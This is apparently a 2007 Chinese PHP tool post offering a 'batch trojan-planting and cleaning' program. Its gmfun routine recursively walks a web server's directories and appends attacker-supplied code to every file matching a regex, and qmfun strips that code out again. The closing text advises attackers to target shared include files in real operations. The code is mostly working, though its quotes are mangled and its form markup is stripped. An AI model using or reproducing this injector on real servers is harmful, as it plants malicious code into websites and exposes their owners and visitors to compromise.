批量挂马和批量清马程序

function gmfun($path=”.”)
 {
 $d = @dir($path);
 while(false !== ($v = $d->read()))  {
 if($v == “.” || $v == “..”) continue;
 $file = $d->path.”/”.$v;
 if(@is_dir($file)) {
  gmfun($file);
   } else {
         if(@ereg(stripslashes($_POST["key"]),$file)) {
            $mm=stripcslashes( trim( $_POST[mm] ) );
            $handle = @fopen (”$file”, “a”);
            @fwrite($handle, “$mm”);
            @fclose($handle);
            echo “已挂马文件:$file\n
”;
           
        }
    }
    }
    $d->close();
     echo ” “;
}
function qmfun($path=”.”)
 {
 $d = @dir($path);
 while(false !== ($v = $d->read()))  {
 if($v == “.” || $v == “..”) continue;
 $file = $d->path.”/”.$v;
 if(@is_dir($file)) {
  qmfun($file);
   } else {
         if(@ereg(stripslashes($_POST["key"]),$file)) {
            $mm=stripcslashes( trim( $_POST[mm] ) );
            $handle = fopen (”$file”, “rb”);
            $oldcontent=fread($handle,filesize($file));
            fclose($handle);
            $newcontent=str_replace($mm,”",$oldcontent);
            $fw = fopen (”$file”, “wb”);
            fwrite($fw,$newcontent,strlen($newcontent));
            fclose($fw);
            echo “已清马文件:$file\n
”;
           
        }
    }
    }
    $d->close();
     echo ” “;
}

if ($_GET['action']==’gm’) {
    set_time_limit(0);
    gmfun($_POST["dir"]);
}
if ($_GET['action']==’qm’) {
    set_time_limit(0);
    qmfun($_POST["dir"]);
}
?>

?action=gm” method=”post”>
 
   
     
   
     
     
   
     
     
     
   
     
     
   
     
     
 

网站批量挂马程序php版           BY n3tl04d
路径:	(可填相对路径)
挂马关键字:	—–正则表达式匹配——
想写入的挂马代码:	’>

?action=qm” method=”post”>
 
   
     
   
     
     
   
     
     
     
   
     
     
   
     
     
 

批量清马工具php版          BY 随风而去(LST)
路径:	(可填相对路径)
清马关键字:	—–正则表达式匹配——
想清除的挂马代码:	’>

本程序是在n3tl04d的批量挂马的基础上修改而成,在此表示感谢

大家在实战中最好不要用批量挂马,能找共用的文件挂马就最好用共用的方法挂吧

做人要厚道

by 随风而去  07.12.06